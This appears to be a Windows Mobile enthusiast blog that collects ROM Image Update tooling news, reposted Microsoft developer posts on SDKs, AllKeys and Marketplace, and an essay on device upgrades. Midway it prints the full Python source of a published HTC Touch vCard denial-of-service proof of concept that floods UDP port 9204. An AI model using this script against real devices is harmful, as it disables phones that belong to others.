Buzzdev.org

I haven’t been on here a while and I apologize for that. This summer has been a busy one for me – first in summer school for AP Macroeconomics for 6 weeks and then I went back to India for 4 weeks. I’m back now and of course, school starts in 2 days. But I have been doing some WinMo stuff over the past 2 months. However, I haven’t been working on my OnDemand customization. Instead, something bigger has caught my attention.

Ever since Da_G over at XDA-Developers created a thread about the Image Update system, I’ve been following and developing some of my own software. For those who don’t know, the Image Update system allows for you to update the IMGFS and XIP partition of your phone via cab files instead of flashing the device and losing all personal data/installed applications. To make this mechanism work, which has been present in Windows Mobile since WM5, all of the DSMs (Device Side Manifests) need to be in the proper MS format. Unfortunately, all of the current kitchen tools that we use for ROMs malform these DSMs or completely remove them from the ROMs. Because of that, I’ve been working on applications that will make Image Update work properly. In June, I was able to create two applications – one that regenerated DSMS from scratch in the exact same way MS’s tools are supposed to work. The other would create the Image Update packages and sign them - they produce the same results as the ones generated my MS’s tools as well. I’ve been working to consolidate them into one app that will also act as a ROM kitchen that adheres to MS’s documentation (for the most part :D).

For those who are interested, you can check out Da_G’s thread in the Dev & Hacking section of XDA (I’m too lazy to link to it right now :D)

This is one cool note, posted on Windows Mobile Team Blog @ microsoft!
Finally i know what WTF means :)

Earlier this week we released the Windows Mobile 6.5 Developer Toolkit (DTK). This release has raised a few questions relative to the other Windows Mobile software development tools and resources. I’d like to take a moment to describe what the SDK, DTK, and DRK are, and just as importantly what they are not.

SDK: Software Development Kit

We have not released a new SDK for Windows Mobile 6.5. The Windows Mobile 6 Professional SDK or Windows Mobile 6 Standard SDK are required for Windows Mobile 6.5 application development.

DTK: Developer Toolkit

The Windows Mobile 6.5 Developer Toolkit (DTK) is not an SDK! The DTK contains emulators, gesture APIs, and samples useful for developing Windows Mobile 6.5 applications. You will still need to install Microsoft Visual Studio® 2008 and the Windows Mobile 6 SDK prior to running the toolkit installer.

DRK: Developer Resource Kit

The Windows Mobile Developer Resource Kit (DRK) is an offline DVD copy of the most useful and relevant Windows Mobile application development tools and resources. Traditionally the DRK does not contain any exclusive content, in that nearly everything on the DRK is available for download online. This time we are pleased to publish the Windows Mobile 6.5 DRK with several sample chapters of Microsoft Mobile Development Handbook from Microsoft Press (Wigley, Moth, and Foot).

We hand out free copies of the DRK at several conferences and developer events throughout the year. Beginning in July 2009, you may also order the Windows Mobile 6.5 DRK online at this Microsoft Web site. The previously listed Windows Mobile 6 Developer Resource Kit will be replaced.

WTF: Where To Follow?

Follow us on Twitter @wmdev to get the inside scoop and up to date information for development on Windows Mobile!

The Games API (GAPI) was a technology that allowed Windows Mobile 2003 applications to quickly draw graphics onto the device screen. It also contained functions that allowed an application to request all button press messages, even the ones that were normally intercepted by the Windows Mobile operating system.

The graphics component of GAPI was replaced by DirectDraw (which allowed hardware acceleration) in Windows Mobile 5.0. Application compatibility was maintained so that older programs would still work.

Most of the reference material for GAPI was removed from the Windows Mobile 6.1 documentation set, although the input functions were kept, so that applications could still request all key and button presses.  Application compatibility was maintained for this release as well.

This is all changing for the next generation of Windows Mobile, Windows Mobile 6.5.  Although some devices may still support GAPI, there is no longer a requirement for device manufacturers or mobile operators to ship or test for compatibility with GAPI.  This means that applications that require GAPI will provide an unpredictable experience for users on Windows Mobile 6.5 devices.

Another important change is that acceptance to the Windows Marketplace for Mobile and Designed for Windows Mobile certification requires no application dependencies on GAPI.

In order to replace the input functionality that GAPI once provided, a new keyboard API function is being made public.  This function is AllKeys(), and is defined below.  One great thing about this substitution is that AllKeys has been a part of Windows Mobile as long as GAPI, and is actually the API call that GAPI wrapped in order to publicly expose this functionality. This means that the transition to AllKeys should be easy, and backwards compatibility should be maintained.

You can migrate your input code to AllKeys in the following way:

Replace:

• GXOpenInput() with AllKeys(TRUE).
• GXCloseInput() with AllKeys(FALSE).

While AllKeys is set to true, all key presses will be sent to your application for handling.

Since GXOpenInput and GXCloseInput were simply wrappers for a call to AllKeys, so this substitution should cause no change in behavior in your programs.

The following is the definition of the new AllKeys API.

AllKeys

This function allows your programs to request that all key presses be sent directly to the requesting application. Normally some buttons are intercepted by the operating system for its own use, but games and input – intensive applications may want access to these buttons for their own use.

Syntax

BOOL AllKeys(
BOOL bAllKeys
);

Parameters

Return Value

Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.

Sample Code

The following C++ code illustrates how to use AllKeys. In the application that this sample is taken from, a check box is used to set AllKeys to true or false.

// process checkbox
case IDC_ALL_KEYS_CHECK_BOX:
if (g_AllKeys == true)
    {
    // Allow the OS to intercept some button presses
     AllKeys(FALSE);
    g_AllKeys = false;
    // set button state
    SendMessage(hwndCtl,BM_SETCHECK, BST_UNCHECKED,0);
    }
else
    {
    // Do not allow os to intercept button presses
    AllKeys(TRUE);
    g_AllKeys = true;
    //set button state
    SendMessage(hwndCtl,BM_SETCHECK, BST_CHECKED,0);
    }

Requirements

OS Versions: Windows Mobile 2003 and later.

Header: Winuser.h

Where to start?

It is safe to say that there are more options for development on Windows Mobile 6 than on any other mobile platform. WM has been around for a while, and Microsoft has built up a huge variety of APIs and development tools to support the platform. This is good – no matter what your preferred style of programming is, there is probably a supported solution on WM. It can also be confusing if you are trying to find out where to start when developing an application.

The options include:

• Browser based development using scripting languages and Flash or Silverlight. This option is poorly supported in the existing mobile browsers, so at the moment, this is not a practical option.
• Managed Code using . NET languages and the .NET Mobile Library.
• Native coding using C++ and Windows Mobile native libraries.

Note: Not all Windows Mobile native libraries have managed equivalents. This means that the author of a managed program (in C# or VB for example) will have to use cumbersome and potentially unsafe methods to integrate the native library into the managed application if they wish to make use of the full libraries.

There are also different flavors of Windows Mobile 6: Standard and Professional. The big difference is that Professional devices have touch screens, and generally more features. It’s reasonable to expect that the performance of a professional device will be superior to that of a standard (no touch screen) device and the touch screen allows more input possibilities so I expect to focus on those devices.

At the moment, I’m not sure if I want to develop on managed or unmanaged code. I prefer to develop in C# using managed code, but may need the performance and APIs that are available to the C++ programmer. Luckily, I will use the same tools to develop both kinds of applications for WM, so I don’t have to decide what environment to use quite yet.

Reading up

In the past, the first stop in making sense of all these options would be to check Microsoft’s official documentation on MSDN, but that is changing. The official starting point for development on Windows Mobile is now the Windows Mobile Developer Portal.

For the moment, I actually prefer the material found on a different site -Windows Mobile Developer Center, although I’m told that these two sites will be integrated in the next few months. This site has webcasts, videos, and (of course) this blog.

The first thing I want to do is set up my development environment, and so I started looking for a section that would tell me how to start.  I already have a copy of Visual Studio 2008 installed, and wanted to use it, so I looked for that first.

Setting up

Note: Unlike the documentation on MSDN (Windows Mobile 6 Documentation) which only covers Visual Studio 2005, the information I found for setting up Visual Studio 2008 on the Developer Center was in videos. See http://code.msdn.microsoft.com/WM6YourFirstApp for a good getting started video.

Although the videos are current, excellent and accurate, watching the video is more time consuming than reading a procedure, (and impossible to find via search) so I’ll summarize them here:

1. Install Visual Studio 2008. The SDK only works with the Standard and Professional editions, not with the free Express editions. There is a 90 day trial edition that you can download for free at the following web page: Try Visual Studio 2008 – Trial Software.
2. Install the Visual Studio 2008 Service Pack 1 and .NET Framework 3.5 Service Pack 1. There may be other service packs available by the time you read this. Information on the latest service packs may be found at the following page: Visual Studio 2008 Development System.
3. Download the Windows Mobile 6 SDKs from the following page: Mobile 6 Professional and Standard Software Development Kits Refresh. I am installing both, although I am planning on writing only for the Professional Edition device. You never know when you might change your mind!

Note: if you have installed the SDKs before Visual Studio 2008, you will need to remove and re-install them after the VS 2008 install.

Building a test application

To confirm that you have a working installation of Visual Studio and the SDK(s), try creating a simple application. I created a blank C++ project by following these steps:

1. On the start page of Visual Studio 2008, in the upper left hand corner, there is a block titled “Recent Projects”. At the bottom of this block, there is a link for Opening a Project, and for Creating a Project. Choose Create Project.
2. In the New Project dialog box, choose “Visual C++, then “Smart Device in the Project Types list. The Templates section should be populated with different project templates for different kinds of projects.
3. Choose Win32 Smart Device Project, and enter a name for the project. “Test” is fine. Click OK.
4. The Win32 Smart Device Project Wizard opens. The presets are set to Windows Mobile 5.0, which I don’t want to use, so I choose the Next button at the bottom of the dialog.
5. This brings up a list of installed Windows Mobile SDKs. I am going to remove the Windows Mobile 5.0 SDK from the Selected SDKs list, and add the Windows Mobile6 Professional SDK and Windows Mobile Standard SDK. Once this is done, I click Next.
6. In the Project Settings Dialog, I select “Windows application” and click Finish. The dialog closes, and Visual Studio creates a new project, populated with basic files, named “Test”.

In Visual Studio, I make sure that “Windows Mobile 6 Professional Emulator” is chosen in the drop down list on the upper left tool bar. I then build the application “Test”, and choose to start debugging.

The Emulator appears, and in a moment, my application (with a blank screen) loads and is displayed in the emulator.

Clicking on the close icon in the upper right hand corner shuts down my application, and Visual Studio returns to its default state.

Excellent – that was easy, and everything works!

If I wanted to build for a different flavor of Windows Mobile (Standard, Windows Mobile 5, or deploy to an actual device, I would choose a different option from the upper left hand tool bar drop down. Does it all make sense so far?

Marketplace Registration Open!

In the latest update to http://developer.windowsmobile.com, developers can now Register to participate in Windows Marketplace for Mobile. This marks another milestone in providing Windows Mobile Developers a clear path to develop, test, certify and distribute their Windows Mobile applications via the Windows® Marketplace for Mobile. Throughout the registration process, links to key documentation for distributing apps through Windows Marketplace for Mobile are provided.

Next steps for developers?

• REGISTER NOW. Developers can submit their complete profile information and take the first step in registration.
• Follow the Windows Mobile Developer team on Twitter @wmdev, Facebook and YouTube.
• Keep up to date via the Windows Mobile Team blog.
• And, stay informed with the latest development tools on the Windows Mobile Developer Center on MSDN.

Finally, if you have any questions for the team that are not already addressed in the Windows Marketplace for Mobile FAQ, I invite you to write a comment below.

Microsoft released Facebook for your Windows Mobile 6 phone!

New from Windows Mobile: a Facebook application for your phone! Download the new Facebook application for Windows Mobile and:

• Send messages to any of the people in your Friends list.
• Take pictures and videos on your phone, then upload them right to Facebook.
• Send messages or call people in your Friends list.
• Manage your profile and post anytime, anywhere.

Keep up with the latest news and posts with Facebook on your phone. Now your status updates can be up-to-the moment accounts of what you’re doing. Photos and videos are about as close to live-action as you can get. Show your friends what you’re up to, while you’re out and about.

Facebook application web site

Update: MS Facebook v1.0.0.7p Direct CAB download

MS Facebook v1.0.0.7 Direct CAB download

Below is the source code for HTC Touch vCard DoS exploit

#! /usr/bin/env python
#
# Copyright (c) 2009 Mobile Security Lab www.mseclab.com
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from socket import *
from sys import exit,argv
from time import *
import random
from optparse import OptionParser

# Global Variables
PORT = 9204
DEF_NUM_PACKETS = 10
DEF_VCARD_LEN = 1410
DEF_DELAY = 0.7
VCARD_HEADER = "BEGIN:VCARD\r\nVERSION:2.1\r\nN:"
VCARD_TRAILER = "\r\nEND:VCARD\r\n"

def main():
    # Local variables
    num_packets = DEF_NUM_PACKETS
    delay = DEF_DELAY

    print "\nMSL-2008-002 PoC for HTC Touch\nMobile Security Lab 2009\n"
    # Parsing options
    parser = OptionParser("usage: %prog [options] target_IP")
    parser.add_option("-s", "--silence", action="store_true", dest="silence", help="send silent vcards (32k)")
    parser.add_option("-c", "--count", type="int", help="specify vcard length", dest="count")
    parser.add_option("-d", "--delay", type="float", help="specify delay between packets", dest="delay")
    parser.add_option("-l", "--len", type="int", help="specify vcard length", dest="len")
    parser.add_option("-t", "--text", type="string", help="specify vcard body text", dest="text")

    # Parse input
    (options, args) = parser.parse_args()
    if len(args) != 1:
        parser.print_help()
        print ""
        exit(1)

    if options.count:
        num_packets = options.count

    if options.delay:
        delay = options.delay

    if options.silence:
        vcard_body = VCARD_HEADER+'A' *32722+VCARD_TRAILER
    elif options.len:
        vcard_body = VCARD_HEADER+'A' *options.len+VCARD_TRAILER
    elif options.text:
        vcard_body = VCARD_HEADER+options.text+VCARD_TRAILER
    else:
        vcard_body = VCARD_HEADER+'A' *DEF_VCARD_LEN+VCARD_TRAILER

    # Socket creation
    udp_sock = socket(AF_INET, SOCK_DGRAM)
    ADDR = (args[0],PORT)

    # Start sending packet
    counter = 1
    c_lap = 0
    total_data = 0
    print "Sending %d packets... to %s" % (num_packets,ADDR)
    start_time = time()
    start_lap = time()

    # Start sending packet
    while counter < = num_packets:
        len_sent = udp_sock.sendto(vcard_body,ADDR)
        if len_sent != len(vcard_body):
            print "Error sending packet n.%d" %counter
            break

        # Update Counter
        counter += 1
        c_lap += 1
        total_data += len_sent

        # Sleep for letting the device parse vcards
        sleep(delay)

        # Check number of packets in a second
        local_lap = time()
        if local_lap - start_lap >= 1:
            print "%0.2f packets/sec" % (c_lap/(local_lap - start_lap))
            start_lap = local_lap
            c_lap = 0

    stop_time = time()
    stop_sec = stop_time - start_time

    # Display info
    print "Sent %d packets in %f seconds" % (num_packets, stop_sec)
    print "Start time: %s" %ctime(start_time)
    print "Stop time: %s" %ctime(stop_time)
    print "Payload Len = %d bytes" % len(vcard_body)
    print "Total Data sent = %d bytes (about %0.2f kB)" % (total_data, (float(total_data)/float(1024)))

#Global start
if __name__ == "__main__":
    main()

# milw0rm.com 2009-03-02

Finally, the word from Microsoft is out.
Again, it was Mike Calligaro, who wrote this cool article, why there is no WM5 upgrade for this or that device.
I suggest you to read that one.

From msdn blogs:

Why Can’t I Upgrade?

We released Windows Mobile 5 a few months ago and devices are starting to hit the market now.  A question I’ve seen asked in a number of places is, “Why can’t I upgrade my existing WM 2003 SE devices to WM5?”

The answer is sure to get me a bunch of angry comments from people who abbreviate our name “M$.”  You can choose to see this as spin from a greedy marketing wonk, or you can see it for what it is–an honest attempt from a developer to explain how this stuff works.

Possible vs. Practical
Since 2002, we’ve set our hardware requirements and designed our software to make it possible to upgrade any PocketPC or Smartphone at least once.  And there have been a number of devices that have upgraded from one version to the next.  Also, some of our partners have announced that some of their WM 2003 SE devices will be upgraded to WM5.  But, by and large, the number of devices that will upgrade is pretty small.

The trouble is, while it’s possible to upgrade devices, it’s often not practical to do so.  The reason it’s not practical boils down this:
1) It costs a lot of money to upgrade a device
2) So few people upgrade that it’s hard to amortize this cost

Second things First
I know that it’s frustrating to want to upgrade and hear me say, “But no one upgrades.”  Obviously you want to upgrade.  You wouldn’t be reading this if you didn’t.  And, I’ll bet you know a bunch of people who want to upgrade as well.  Please understand, the companies involved do not say, “Hey, let’s not bother to upgrade the device.  We won’t piss off too many people.”  Everyone wants to upgrade your devices.  There are a number of reasons for this, not the least of which is that we know that providing upgrades makes customers happy.  And, yes, we all like happy customers.

It’s not about figuring out how many people we can get away with annoying.  Upgrades don’t happen due to a much simpler calculation.

(Total cost of doing the upgrade) / (number of people who will use it) = (unreasonable price)

The value of “unreasonable price” varies from situation to situation.  But there have been times where it was higher than the price of a new phone.  Because there have been upgrades in the past, we know how many people do them.  And, even though you know a bunch of people who want to upgrade, it’s still a tiny percentage of the owners of that device.

Show me the Money
So what are all these costs?  The first is the cost of developing and testing all the drivers for a new version of the OS.  While Microsoft writes the bulk of the software on a WM device, a significant amount of it is written by the OEM or ODM who created the hardware.  And the part they do is the most complicated part of the device: the drivers, parts of the kernel, and the radio stack.  On major OS revisions, many of these parts need to be changed, sometimes dramatically.  And, any time they need to be changed, extensive testing needs to be done.

Another cost is associated with phone devices sold through Mobile Operators.  MOs rightfully want to be sure that any device on their network doesn’t interfere with other devices on their network.  To do this, they put every device they plan to sell through a battery of tests that last weeks.  If a significant amount of code on the device changes, it needs to be retested.  And that takes away testing time from another device.  The Mobile Operator needs to make a conscious decision to test an upgrade that few people will use instead of testing a sexy new phone that potentially many more will buy.

Another cost comes from how difficult it is to upgrade these devices.  The steps are complicated, there are changes that users don’t expect, and sometimes it doesn’t work.  All of those situations result in calls to product support, which are really expensive.  Yes, you’re capable of pulling off the upgrade.  But you’re techy enough to be reading an MSDN site.  How do you think your grandmother would fare?

Well, what are you doing about it?
In WM5 we spent a lot of time building an infrastructure for enabling updates that anyone can do.  We’re heading toward a Windows Update sort of experience, where you’re using your phone and it suddenly pops up a box that says something like, “An update is available, would you like to have it installed?”  Then you just need to select “Yes” and it’ll happen for you.  How much OEMs and Mobile Operators make use of this infrastructure is up to them, but it’s there now.  This should solve the “could your grandmother do it?” problem, especially for smaller updates like security fixes.

Of course, to do this, we had to change a ton of stuff, which makes the first two problems even bigger for this release.  No pain, no gain.

We’re doing a few things to make future updates easier for OEMs and Mobile Operators.  First, we’re going to try to do some smaller releases that don’t require changes in OEM code.  If the drivers don’t need to change, then it’s much easier for the OEM to take an update from us and make it work.  The Mobile Operators will still want to test the device, but, hopefully, if the drivers didn’t change, they can have some assurance that the things they worry most about didn’t change either.  That should make their testing easier.

Longer term, we’re looking at ways to design our OS so that even major revisions don’t require significant driver changes.  We don’t know for sure that we’ll be able to pull that off, but it’s a goal we’re striving toward.

No it’s not just “greed”
I’ve seen people complain that upgrades don’t happen because the parties involved are just greedy.  I guess there’s a fine line between “economics” and “greed” but that line does exist.  The economics of the situation are that it often just doesn’t make sense to provide an upgrade.  We’re working on both parts of that equation.  We’re trying to reduce the total upgrade cost, and make upgrading easy enough that more people will make use of it.  Whether this work will result in more upgrades being provided in the future remains to be seen.  But we hope so.

Mike Calligaro
MS Windows Mobile Team